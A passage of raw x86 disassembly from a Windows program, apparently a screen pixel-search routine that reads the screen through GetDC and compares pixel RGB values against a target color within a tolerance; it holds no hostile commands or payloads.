mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
cmp eax, dword [ebp - 0x14]
jl 0x54400f
dec dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x10]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44a0], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x4474], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0xc]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x4478], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44ac], eax
jmp 0x5440b1
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x44a0], edx
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x4474], edx
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x4478], edx
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x44ac], edx
jmp 0x5440b1
lea eax, [ebp - 0xb64]
push eax
mov ecx, 2
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov eax, dword [ebp - 0xb64]
mov edx, 0x553998
call fcn.004053e4
je 0x5440a6
lea eax, [ebp - 0xb68]
push eax
mov ecx, 1
mov edx, 2
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov eax, dword [ebp - 0xb68]
mov edx, 0x553840
call fcn.004053e4
je 0x5440a6
mov edx, dword [0x59049c]
mov edx, dword [edx]
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
call fcn.004052e4
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x449c], edx
xor eax, eax
push ebp
push 0x5440f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 0
mov eax, dword [ebp - 0x18]
add eax, 0x4480
mov edx, dword [ebp - 0x1c]
call fcn.0040502c
mov eax, dword [ebp - 0x18]
call fcn.0052f718
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
mov dword [ebp - 0x28], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x54411d
cmp dword [ebp - 0x28], 0
jge 0x54413a
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 1
lea eax, [ebp - 0x1c]
mov edx, 0x553974
call fcn.00405070
cmp dword [ebp - 0x28], 0
jne 0x544157
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 1
lea eax, [ebp - 0x1c]
mov edx, 0x5539b0
call fcn.00405070
cmp dword [ebp - 0x28], 0
jle 0x546332
push 0
mov eax, dword [ebp - 0x18]
add eax, 0x4490
mov ecx, 1
mov edx, dword [0x52f3bc]
call fcn.0040659c
add esp, 4
push 0
mov eax, dword [ebp - 0x18]
add eax, 0x4494
mov ecx, 1
mov edx, dword [0x52f3e4]
call fcn.0040659c
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
call fcn.004063e0
dec eax
test eax, eax
jle 0x544222
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x14]
mov eax, dword [eax + edx*4]
mov edx, dword [ebp - 0x120]
sub dword [eax], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x14]
mov eax, dword [eax + edx*4]
mov edx, dword [ebp - 0x124]
sub dword [eax + 4], edx
inc dword [ebp - 0x14]
dec dword [ebp - 0x2a4]
jne 0x5441e8
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105d4c], 0
je 0x544459
mov dword [ebp - 0x10], 4
lea eax, [ebp - 0x1c]
mov edx, 0x553920
call fcn.00405070
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c68], 1
jne 0x54427b
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*4 + 0x105c6c]
lea edx, [ebp - 0xb0]
call fcn.0040b57c
jmp 0x5442b5
lea eax, [ebp - 0xb0]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + eax*4 + 0x105c70]
lea eax, [ebp - 0xb6c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb6c]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c74], 1
jne 0x5442e2
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*4 + 0x105c78]
lea edx, [ebp - 0x24]
call fcn.0040b57c
jmp 0x544319
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + eax*4 + 0x105c7c]
lea eax, [ebp - 0xb70]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb70]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c80], 1
jne 0x544349
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*4 + 0x105c84]
lea edx, [ebp - 0xac]
call fcn.0040b57c
jmp 0x544383
lea eax, [ebp - 0xac]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + eax*4 + 0x105c88]
lea eax, [ebp - 0xb74]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb74]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c8c], 1
jne 0x5443b3
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*4 + 0x105c90]
lea edx, [ebp - 0xb8]
call fcn.0040b57c
jmp 0x5443ed
lea eax, [ebp - 0xb8]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + eax*4 + 0x105c94]
lea eax, [ebp - 0xb78]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb78]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c98], 1
jne 0x54441d
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*4 + 0x105c9c]
lea edx, [ebp - 0x20]
call fcn.0040b57c
jmp 0x544538
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + eax*4 + 0x105ca0]
lea eax, [ebp - 0xb7c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb7c]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
jmp 0x544538
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x10]
inc ecx
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea eax, [ebp - 0xb80]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 2
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb80]
lea edx, [ebp - 0xb0]
call fcn.0040b05c
lea eax, [ebp - 0xb84]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 3
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb84]
lea edx, [ebp - 0x24]
call fcn.0040b05c
lea eax, [ebp - 0xb88]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 4
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb88]
lea edx, [ebp - 0xac]
call fcn.0040b05c
lea eax, [ebp - 0xb8c]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 5
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb8c]
lea edx, [ebp - 0xb8]
call fcn.0040b05c
lea eax, [ebp - 0xb90]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 6
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb90]
lea edx, [ebp - 0x20]
call fcn.0040b05c
mov eax, dword [ebp - 0x18]
add eax, 0x105bf8
mov edx, dword [ebp - 0x1c]
call fcn.0040502c
mov eax, dword [ebp - 0x24]
mov edx, 0x553934
call fcn.004053e4
je 0x54459c
mov eax, dword [ebp - 0xb0]
mov edx, 0x553934
call fcn.004053e4
je 0x54459c
mov eax, dword [ebp - 0xac]
mov edx, 0x553934
call fcn.004053e4
je 0x54459c
mov eax, dword [ebp - 0xb8]
mov edx, 0x553934
call fcn.004053e4
je 0x54459c
mov eax, dword [ebp - 0x20]
mov edx, 0x553934
call fcn.004053e4
jne 0x5445a5
mov byte [ebp - 0x10d], 1
jmp 0x5445ac
mov byte [ebp - 0x10d], 0
lea edx, [ebp - 0x40]
mov eax, dword [ebp - 0xb8]
call fcn.0040b73c
test al, al
je 0x5445c4
cmp dword [ebp - 0x40], 0
jge 0x5445d1
mov byte [ebp - 0xb9], 0
mov byte [ebp - 0x35], 0
jmp 0x5445ed
fild dword [ebp - 0x40]
fld xword [0x553938]
fmulp st(1)
call fcn.004030cc
and al, 0xff
mov byte [ebp - 0xb9], al
mov byte [ebp - 0x35], 1
lea edx, [ebp - 0x40]
mov eax, dword [ebp - 0x24]
call fcn.0040b73c
test al, al
jne 0x544603
mov dword [ebp - 0x40], 0x50
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0xac]
call fcn.0040b73c
test al, al
jne 0x54461c
mov dword [ebp - 0x3c], 1
mov eax, dword [ebp - 0x18]
lea edx, [eax + 0x449c]
mov eax, dword [ebp - 0xb0]
call fcn.0040b73c
test al, al
je 0x544640
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 1
jge 0x54464d
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x449c], 2
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
mov dword [ebp - 0x134], eax
push 0
call sub.user32.dll_GetDC
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xfc], eax
cmp byte [ebp - 0x10d], 0
jne 0x5446da
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 2
jg 0x5446da
lea eax, [ebp - 0xe0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ClientToScreen
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ClientToScreen
inc dword [ebp - 0xe8]
inc dword [ebp - 0xe4]
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, 1
call fcn.00405538
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
call fcn.00405070
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
push 1
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.005550b4
mov dword [ebp - 0x10], 0x64
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bdc], edx
mov dword [ebp - 0x84], 5
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x224], eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 1
je 0x545991
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 2
jle 0x5447a2
mov byte [ebp - 0x13d], 1
jmp 0x5447a9
mov byte [ebp - 0x13d], 0
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x1048b5], 0
cmp byte [ebp - 0x13d], 0
je 0x544948
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x544933
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
cdq
cmp edx, dword [esp + 4]
jne 0x5447f1
cmp eax, dword [esp]
pop edx
pop eax
jne 0x544930
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x4484], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0xc]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x4488], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4484]
cmp eax, dword [ebp - 0xe8]
jge 0x544870
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4484]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4488]
cmp eax, dword [ebp - 0xe4]
jge 0x544890
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4488]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
cmp dword [edx + eax*8 + 0x10], 0
setg al
mov edx, dword [ebp - 0x18]
mov byte [edx + 0x44e0], al
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0xc]
mov edx, dword [ebp - 0x14]
lea edx, [edx + edx*2]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x6c]
imul dword [ecx + edx*8 + 0x10]
cdq
xor eax, edx
sub eax, edx
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44b4], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44ac], eax
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x1048b5], 1
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x44]
mov dword [eax + 0x44c8], edx
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 0
jmp 0x544948
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
dec eax
cmp eax, dword [ebp - 0x14]
jge 0x5447ca
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
jne 0x5449fc
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xe8]
mov dword [eax + 0x44b8], edx
mov edx, dword [ebp - 0xe4]
mov dword [eax + 0x44bc], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xe0]
mov dword [eax + 0x44c0], edx
mov edx, dword [ebp - 0xdc]
mov dword [eax + 0x44c4], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x44]
mov dword [eax + 0x44c8], edx
xor eax, eax
push ebp
push 0x5449c4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 0
mov eax, dword [ebp - 0x18]
call fcn.0052fda8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5449e3
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x448c], 0
je 0x5449fc
lea eax, [ebp - 0x1c]
mov edx, 0x55394c
call fcn.00405070
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4484]
and eax, 0x80000003
jns 0x544a18
dec eax
or eax, 0xfffffffc
inc eax
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x448c], 0
je 0x544a67
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x545957
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x553950
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
jmp 0x545957
push 1
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
mov eax, dword [ebp - 0xe0]
sub dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xdc]
sub dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
je 0x544aad
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x545924
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0x28], eax
jmp 0x545924
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
je 0x544b1e
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
jne 0x544aeb
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44ac]
push eax
call sub.KERNEL32.DLL_GlobalFree
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x44ac], edx
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
push 0
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x553567
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x5458fb
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x224]
jbe 0x544b94
add dword [ebp - 0x224], 0x64
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bdc], edx
mov dword [ebp - 0x84], 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
call fcn.00405070
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x36], 0
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
je 0x544bdf
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44ac]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x4484]
lea edx, [edx + edx*2]
add edx, dword [ebp - 0x1f8]
imul edx, dword [ebp - 0x28]
add eax, edx
add eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1f4], eax
jmp 0x544c15
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4488]
dec eax
sub eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x4484]
lea edx, [edx + edx*2]
add edx, dword [ebp - 0x1f8]
imul edx
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x44ac]
add eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp - 0x2ac]
movzx eax, byte [eax + 2]
mov edx, dword [ebp - 0x2ac]
movzx edx, byte [edx + 1]
shl edx, 8
add eax, edx
mov edx, dword [ebp - 0x2ac]
movzx edx, byte [edx]
shl edx, 0x10
add eax, edx
mov dword [ebp - 0x2c], eax
cmp byte [ebp - 0x35], 0
je 0x544e51
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov eax, dword [eax + 8]
and eax, 0xff
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov eax, dword [eax + 8]
and eax, 0xff00
shr eax, 8
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov eax, dword [eax + 8]
and eax, 0xff0000
shr eax, 0x10
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x2ac]
movzx eax, byte [eax + 2]
xor edx, edx
mov dl, byte [ebp - 0xb9]
sub eax, edx
test eax, eax
jle 0x544cd4
mov eax, dword [ebp - 0x2ac]
mov al, byte [eax + 2]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx], al
jmp 0x544cda
mov eax, dword [ebp - 4]
mov byte [eax], 0
mov eax, dword [ebp - 0x2ac]
movzx eax, byte [eax + 2]
xor edx, edx
mov dl, byte [ebp - 0xb9]
add eax, edx
cmp eax, 0xff
jae 0x544d0c
mov eax, dword [ebp - 0x2ac]
mov al, byte [eax + 2]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 1], al
jmp 0x544d13
mov eax, dword [ebp - 4]
mov byte [eax + 1], 0xff
mov eax, dword [ebp - 0x2ac]
movzx eax, byte [eax + 1]
xor edx, edx
mov dl, byte [ebp - 0xb9]
sub eax, edx
test eax, eax
jle 0x544d42
mov eax, dword [ebp - 0x2ac]
mov al, byte [eax + 1]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 2], al
jmp 0x544d49
mov eax, dword [ebp - 4]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x2ac]
movzx eax, byte [eax + 1]
xor edx, edx
mov dl, byte [ebp - 0xb9]
add eax, edx
cmp eax, 0xff
jae 0x544d7b
mov eax, dword [ebp - 0x2ac]
mov al, byte [eax + 1]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 3], al
jmp 0x544d82
mov eax, dword [ebp - 4]
mov byte [eax + 3], 0xff
mov eax, dword [ebp - 0x2ac]
movzx eax, byte [eax]
xor edx, edx
mov dl, byte [ebp - 0xb9]
sub eax, edx
test eax, eax
jle 0x544daf
mov eax, dword [ebp - 0x2ac]
mov al, byte [eax]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 4], al
jmp 0x544db6
mov eax, dword [ebp - 4]
mov byte [eax + 4], 0
mov eax, dword [ebp - 0x2ac]
movzx eax, byte [eax]
xor edx, edx
mov dl, byte [ebp - 0xb9]
add eax, edx
cmp eax, 0xff
jae 0x544de6
mov eax, dword [ebp - 0x2ac]
mov al, byte [eax]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 5], al
jmp 0x544ded
mov eax, dword [ebp - 4]
mov byte [eax + 5], 0xff
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
cmp eax, dword [ebp - 0x204]
jg 0x544e46
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 1]
cmp eax, dword [ebp - 0x204]
jl 0x544e46
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 2]
cmp eax, dword [ebp - 0x208]
jg 0x544e46
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 3]
cmp eax, dword [ebp - 0x208]
jl 0x544e46
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 4]
cmp eax, dword [ebp - 0x20c]
jg 0x544e46
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 5]
cmp eax, dword [ebp - 0x20c]
jge 0x544e4a
xor eax, eax
jmp 0x544e4c
mov al, 1
mov byte [ebp - 0x37], al
jmp 0x544e66
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov eax, dword [eax + 8]
cmp eax, dword [ebp - 0x2c]
sete byte [ebp - 0x37]
cmp byte [ebp - 0x37], 0
je 0x54539d
mov dword [ebp - 0x128], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
call fcn.004063e0
dec eax
test eax, eax
jle 0x545372
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x120], 1
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
je 0x544f34
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f0]
cmp eax, dword [ebp - 0xe0]
jl 0x545360
mov eax, dword [ebp - 0x1f0]
cmp eax, dword [ebp - 0xe8]
jg 0x545360
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f0]
cmp eax, dword [ebp - 0xdc]
jl 0x545360
mov eax, dword [ebp - 0x1f0]
cmp eax, dword [ebp - 0xe4]
jg 0x545360
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax]
add eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
je 0x544f9a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x4484]
lea edx, [edx + edx*2]
add edx, dword [ebp - 0x1f8]
imul edx
add eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1f4], eax
jmp 0x544fde
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov edx, dword [ebp - 0x28]
sub edx, dword [eax + 4]
mov eax, dword [ebp - 0x18]
